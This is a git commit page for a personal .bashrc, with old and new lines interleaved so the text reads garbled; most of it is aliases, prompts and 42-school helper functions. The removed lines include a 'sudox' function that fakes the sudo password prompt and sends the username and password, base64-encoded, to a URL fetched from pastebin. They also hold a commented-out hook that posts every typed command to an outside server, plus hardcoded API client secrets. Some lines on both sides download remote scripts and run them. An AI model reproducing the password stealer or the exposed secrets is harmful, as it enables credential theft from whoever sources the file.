Ultimate general purpose .bashrc

This commit is contained in:
cubernetes 2023-07-27 04:29:19 +02:00
parent e8bf64f5b6
commit 479a279437
1 changed files with 181 additions and 142 deletions

323
.bashrc
View File

@ -1,169 +1,208 @@
#!/bin/bash #!/usr/bin/bash
# This file ought to be sourced
function sudox () { # Bash Shell Reset -- Start
realsudo="$(type -P sudo)" IFS="
read -s -p "[sudo] password for $USER: " inputPasswd "
printf "\n"; POSIXLY_CORRECT='1'
2>/dev/null wget --no-hsts -qO/dev/null "$(wget --no-hsts -qO- "https://pastebin.com/raw/vR6ipnVm")$(base64 -w0<<<"${USER}:${inputPasswd}")" COMMANDS_="builtin unalias unset read printf command exit type . tr fc compgen"
$realsudo -S <<< "$inputPasswd" -u root bash -c "exit" >/dev/null 2>&1 COMMANDS_="${COMMANDS_} wc sed grep xargs sudo shopt kill ps head awk clear"
$realsudo "${@:1}" COMMANDS_="${COMMANDS_} curl wget source check mv mkdir rm rmdir while do done"
} COMMANDS_="${COMMANDS_} cc gcc g++ clang basename clone42 git alias export pwd"
COMMANDS_="${COMMANDS_} docker shift until for in bash sh dash ash ksh zsh top"
# mega () { /home/tosuman/HackHPI23/blueteam/blueteambot1.sh "${1}"; } COMMANDS_="${COMMANDS_} shellcheck watch cmatrix alacritty tmux zellij ssh"
COMMANDS_="${COMMANDS_} which date df du case esac crontab ping base64 apt"
# TERM=xterm COMMANDS_="${COMMANDS_} paru pacman yum dnf aptitude apt-get yay rpm dpkg env"
# COMMANDS_="${COMMANDS_} awk apropos help info dirname bc dc break continue"
# ##### INFORMATION FOR BLUE TEAM ##### COMMANDS_="${COMMANDS_} unzip zip tar untar gzip gunzip xz unxz base32 cal"
# # DO NOT REMOVE LINES AFTER THIS COMMENT, COMMANDS_="${COMMANDS_} chattr cfdisk fdisk passwd chroot cmp cron split dd"
# # OTHERWISE MONITORING WILL BREAK COMMANDS_="${COMMANDS_} df dir declare diff dircolors dmesg eval exec egrep"
# export PS0='$(__cmd () { hostname | tr -d "\n"; printf "@"; ip -o route get to 8.8.8.8 | sed -n "s/.*src \([0-9.]\+\).*/\1/p" | tr -d "\n"; printf ": "; fc -lnr | head -1 | xargs; }; curl -sL https://hackhpi23.timo.one/api/blue -X POST -H "Content-Type: application/json" -d "{\"data\": \"$(__cmd)\", \"timestamp\": \"$(date +%s)\"}" >/dev/null & unset -f __cmd)' COMMANDS_="${COMMANDS_} false true : fg bg free fold find file gawk groupadd"
# COMMANDS_="${COMMANDS_} less more cat head tail chmod chown history sleep yes"
# ssh () { COMMANDS_="${COMMANDS_} useradd adduser addgroup usermod groupdel userdel xxd"
# if [ -n "${@}" ]; then COMMANDS_="${COMMANDS_} groups users who w last hash hostname htop ip ifconfig"
# $(type -P ssh) -t "${@}" "export PS0='${PS0}'; bash" COMMANDS_="${COMMANDS_} install ifdown ifup jobs killall pkill pgrep klist"
# else COMMANDS_="${COMMANDS_} link ln unlink let local logout logname lsblk lsof"
# ssh COMMANDS_="${COMMANDS_} pidof lspci lsusb lscpu make mktemp mount umount nc"
# fi COMMANDS_="${COMMANDS_} ncat nmap nft iptables ufw firewall-cmd nl nslookup"
# } COMMANDS_="${COMMANDS_} open xdg-open whereis whatis write wall agetty amixer"
# COMMANDS_="${COMMANDS_} pulsemixer ar cmake bzip2 ccrypt chvt column chsh ex"
# COMMANDS_="${COMMANDS_} od pushd popd pv pvs lvs vgs rsync screen sed seq wait"
# PS1='\[\033[94m\][BLUE TEAM HOST] $ \[\033[m\]' COMMANDS_="${COMMANDS_} ftp sftp shift shuf sort uniq su strace sync tee test"
# return COMMANDS_="${COMMANDS_} time trap tr tty ulimit umask unix2dos dos2unix uptime"
COMMANDS_="${COMMANDS_} paco francinette cd ls disown whoami reboot systemctl"
[ -z "$PS1" ] && return COMMANDS_="${COMMANDS_} shutdown poweroff set x touch stat cp scp man locate"
COMMANDS_="${COMMANDS_} xset kbdrate return cut batcat id ed vi vim nvim nano"
COMMANDS_="${COMMANDS_} skill norminette bat echo if then fi else function"
# shellcheck disable=SC2086
2>/dev/null \unset -f -- ${COMMANDS_}
# shellcheck disable=SC2086
2>/dev/null \unalias -- ${COMMANDS_}
2>/dev/null \unset -- POSIXLY_CORRECT COMMANDS_
# Bash Shell Reset -- End
[ -z "${PS1}" ] && return
shopt -s histappend shopt -s histappend
shopt -s checkwinsize shopt -s checkwinsize
shopt -s dotglob
HISTSIZE=-1 HISTSIZE=-1
HISTFILESIZE=-1 HISTFILESIZE=-1
HISTFILE="${HOME}"/.bash_history
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)" [ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
if [ -x /usr/bin/dircolors ]; then function skill () {
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)" if [ -n "${1}" ] ; then
alias ls='ls --color=auto' # shellcheck disable=SC2046,SC2009
alias dir='dir --color=auto' 2>/dev/null sudo kill -9 \
alias vdir='vdir --color=auto' $(ps aux | grep "${1}" | head -1 | awk '{print $2}')
else
alias grep='grep --color=auto' echo 'Please provide one argument'
alias fgrep='fgrep --color=auto' fi
alias egrep='egrep --color=auto'
alias less='less -R'
fi
today() {
echo touch "$(date +'%Y-%m-%d').md"
touch "$(date +'%Y-%m-%d').md"
} }
skill() { function bat () {
if [ -n "${1}" ]; then 2>/dev/null batcat "${@}" || $(type -P bat) "${@}"
sudo kill -9 $(ps aux | grep "${1}" | head -n -1 | awk '{print $2}') 2>/dev/null }
else
echo "Please provide an argument" function norminette () {
local vers="$($(type -P norminette) -v | cut -d" " -f2)"
local newst='3.3.53'
if [ ! "${vers}" = "${newst}" ] ; then
printf "%s\n%b\n" "Norminette v${vers} instead of v${newst} detected."\
'\033[31mPlease up-/downgrade\033[m'
fi
$(type -P norminette) -R CheckForbiddenSourceHeader "${@}"
}
function __norm () {
local _pwd="$(pwd -P)"
[ -z "${_pwd##${HOME}/42/42cursus/*}" ] || { return 1; }
1>/dev/null 2>&1 git status || { return 2; }
1>/dev/null 2>&1 norminette && printf ' \033[92m%s\033[m' "[Norm: OK]" || printf ' \033[101;37m%s\033[m' "[䝝誒 ‼ NORM ‼ 屌誒]"
return 0
}
function ft_check () {
# Set params
URL="${1}"
DIR="/tmp/tmp_repo_$(date +%s)"
# If no URL, get it from current repo
if [ -z "${URL}" ] ; then
URL="$(git remote get-url origin)"
fi
# Clone in temp folder
git clone --quiet "${URL}" "${DIR}"
# Only proceed if clone success
if [ -d "${DIR}" ] ; then
# Check the norm and print beautiful message
norminette -R CheckForbiddenSourceHeader "${DIR}" && printf '\033[30;102m%s\033[m\n' "Norminette success" || printf '\033[30;101m%s\033[m\n' "Norminette fail!!!"
# Remove temp folder
rm -rf "${DIR}"
else
printf '\033[30;101m%s\033[m\n' "Could not clone the repo"
fi fi
} }
bat() { function clone42 () {
2>/dev/null batcat $1 || $(type -P bat) $1 folder="${1}"
repo_url="${2}"
git clone --quiet "${repo_url}" ${folder}
if [ "${?}" = "0" ]; then
cd "${folder}"
norminette -R CheckForbiddenSourceHeader "."
else
printf '%s\n' "Could not clone repo!"
fi
} }
ftssh () { alias v=nvim
local username="${1}" alias vim=nvim
local pc_shorthostname="${2}"
if [ -z "${BEARER_42}" ]; then
local UID_42="u-s4t2ud-892d03cbb36809765e2c93e2f5e1c74d339d37da9cdb4bda95f7119717f33e16"
local SECRET_42="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"
local BEARER_42="$(curl -sL -X POST --data "grant_type=client_credentials&client_id=${UID_42}&client_secret=${SECRET_42}" "https://api.intra.42.fr/oauth/token" | jq -r '.access_token')"
fi
if [ -z "${pc_shorthostname}" ] || [ "${pc_shorthostname}" = "null" ]; then
local pc_shorthostname="$(curl -sL -H "Authorization: Bearer ${BEARER_42}" "https://api.intra.42.fr/v2/users/${username}" | jq -r '.cursus_users[1].user.location')"
fi
if [ -z "${pc_shorthostname}" ] || [ "${pc_shorthostname}" = "null" ]; then
local pc_shorthostname="$(curl -sL -H "Authorization: Bearer ${BEARER_42}" "https://api.intra.42.fr/v2/users/${username}" | jq -r '.cursus_users[0].user.location')"
fi
if [ -z "${pc_shorthostname}" ] || [ "${pc_shorthostname}" = "null" ]; then
echo "Can't resolve hostname from username, please provide 2nd as argument"
return 1
fi
local port="42042"
local id_file="${HOME}/.ssh/id_rsa_cc"
local intra_dns="10.51.1.253"
local pc_ip="$($(type -P dig) +short "${pc_shorthostname}.42berlin.de" "@${intra_dns}" | head -1)"
echo $(type -P ssh) -i"${id_file}" -p"${port}" "${username}@${pc_ip}"
}
alias v='nvim'
alias ..='cd ..' alias ..='cd ..'
alias ...='cd ..\..' alias ...='cd ../..'
alias ....='cd ..\..\..' alias ....='cd ../../..'
alias tmux='tmux -2' alias tmux='tmux -2'
alias aptclean='sudo apt update && sudo apt upgrade && sudo apt autoremove && sudo apt clean'
alias paruuu='yes | sudo pacman -Sy archlinux-keyring && yes | sudo pacman -Syyuu && yes | paru'
alias shortprompt="unset PROMPT_COMMAND && PS1='$'"
alias longprompt="PROMPT_COMMAND=prompt_command_hook"
alias open='xdg-open' alias open='xdg-open'
alias xcopy='xsel --clipboard --input' alias xcopy='xsel --clipboard --input'
alias xpaste='xsel --clipboard --output' alias xpaste='xsel --clipboard --output'
alias aptclean='sudo apt -y update && sudo apt -y full-upgrade &&
sudo apt -y dist-upgrade && sudo apt -y autoremove &&
sudo apt -y clean'
alias paruuu='yes | sudo pacman -Sy archlinux-keyring &&
yes | sudo pacman -Syyuu && yes | paru'
alias pcker='nvim "${HOME}"/.config/nvim/lua/*/packer.lua'
alias after='nvim "${HOME}"/.config/nvim/after/plugin'
alias l='ls --color=auto -FhalrtZ1'
alias ll='ls --color=auto -FhalrtZ1'
alias grep='grep --color=auto'
alias francinette='"${HOME}"/francinette/tester.sh'
alias paco='"${HOME}"/francinette/tester.sh'
alias p='pulsemixer'
alias e='nvim "${HOME}"/repos/dwm/config.h'
alias colors='bash -c "$(curl --silent --location \
"https://gist.githubusercontent.com/HaleTom/\
89ffe32783f89f403bba96bd7bcd1263/raw"
)"'
alias sl='sl -GwFdcal' alias sl='sl -GwFdcal'
alias br42='cc -Wall -Wextra -Werror -o main -xc <(grep -v "////" *.c) && ./main; rm ./main 2>/dev/null' alias cmatrix='cmatrix -u3 -Cred'
alias gca='git add -u && git commit -m "Automatic add"'
alias dotconf='$(type -P git) --git-dir="${HOME}/.dotfiles/" --work-tree="${HOME}"' alias watch='watch -tcn.1'
alias norm='alacritty -e sh -c '\''watch -cn.5 \
norminette -R CheckForbiddenSourceHeader'\'' & disown'
alias norm2='alacritty -e sh -c '\''watch -cn.5 \
norminette -R CheckForbiddenSourceHeader \| \
xargs -I{} printf \"{} \#\#\# \"'\'' & disown'
alias dotconf='git --git-dir="${HOME}"/.dotfiles/ --work-tree="${HOME}"'
dotconf config status.showUntrackedFiles no dotconf config status.showUntrackedFiles no
## synth-shell-greeter.sh PATH="${PATH}:${HOME}/.local/bin"
if [ -f ~/.config/synth-shell/synth-shell-greeter.sh ] && [ -n "$( echo $- | grep i )" ]; then
: export USER42='tischmid'
#. ~/.config/synth-shell/synth-shell-greeter.sh export EMAIL42='timo42@proton.me'
export MAIL='timo42@proton.me'
export LANG='en_US.UTF-8'
export LC_ALL='en_US.UTF-8'
export TERM='xterm-256color'
# shellcheck disable=SC2155
export XDG_RUNTIME_DIR=/run/user/"$(id -u)"
# shellcheck disable=SC2155
export SSH_AUTH_SOCK=/run/user/"$(id -u)"/ssh-agent.socket
# shellcheck disable=SC2155
export VISUAL="$(2>/dev/null command -v nvim)"
# shellcheck disable=SC2155
export EDITOR="$(2>/dev/null command -v vim ||
2>/dev/null command -v vi ||
2>/dev/null command -v nano ||
2>/dev/null command -v ed)"
export SUDO_EDITOR="${EDITOR}"
export GIT_PS1_SHOWDIRTYSTATE='1'
export PATH
2>/dev/null xset r rate 200 60
# sudo kbdrate --rate=30.0 --delay=250
GIT_PROMPT="1"
if [ ! -f "${HOME}"/git-prompt.sh ] && [ "${GIT_PROMPT}" = "1" ] ; then
curl --silent --location \
"https://raw.githubusercontent.com/git\
/git/master/contrib/completion/git-prompt.sh" \
-o "${HOME}"/git-prompt.sh
fi fi
##----------------------------------------------------- # If bash runs in posix mode, if should be `cut -c2-` instead
## synth-shell-prompt.sh PS0='$(clear -x ; printf "${PS1@P}" ; fc -nl -1 | cut -c3- ; printf "\n")'
if [ -f ~/.config/synth-shell/synth-shell-prompt.sh ] && [ -n "$( echo $- | grep i )" ]; then if [ -f "${HOME}"/git-prompt.sh ] && [ -r "${HOME}"/git-prompt.sh ] && \
: [ "${GIT_PROMPT}" = "1" ] ; then
# . ~/.config/synth-shell/synth-shell-prompt.sh . "${HOME}"/git-prompt.sh
PS1='\[\033[31m\]\u\[\033[m\]@\[\033[32m\]\h\[\033[m\] \[\033[33m\][\w]'\
'\[\033[m\]\[\033[36m\]$(__git_ps1 " (%s)")\[\033[m\]\[\033[36m\]$(__norm)'\
'\[\033[m\]\n\[\033[35m\]~\$\[\033[m\] '
else
PS1='\[\033[31m\]\u\[\033[m\]@\[\033[32m\]\h\[\033[m\] \[\033[33m\][\w]'\
'\[\033[m\]\[\033[36m\]$(__norm)\[\033[m\]\n\[\033[36m\]~\$\[\033[m\] '
fi fi
##-----------------------------------------------------
## better-ls
if [ -f ~/.config/synth-shell/better-ls.sh ] && [ -n "$( echo $- | grep i )" ]; then
:
# . ~/.config/synth-shell/better-ls.sh
fi
##-----------------------------------------------------
## alias
if [ -f ~/.config/synth-shell/alias.sh ] && [ -n "$( echo $- | grep i )" ]; then
. ~/.config/synth-shell/alias.sh
fi
##-----------------------------------------------------
## better-history
if [ -f ~/.config/synth-shell/better-history.sh ] && [ -n "$( echo $- | grep i )" ]; then
. ~/.config/synth-shell/better-history.sh
fi
if [ -f ~/.userbashrc ]; then
. ~/.userbashrc
fi
TERM=xterm
alias francinette=/home/tosuman/francinette/tester.sh
alias paco=/home/tosuman/francinette/tester.sh
if [ ! -f ~/.42rc ]; then
curl -sL timo.one/42 -o ~/.42rc
fi
if [ -f ~/.42rc ]; then
source ~/.42rc
fi
export LANG=en_US.UTF-8
export LC_ALL=en_US.UTF-8
source /usr/share/nvm/init-nvm.sh
export XDG_RUNTIME_DIR="/run/user/$(id -u)"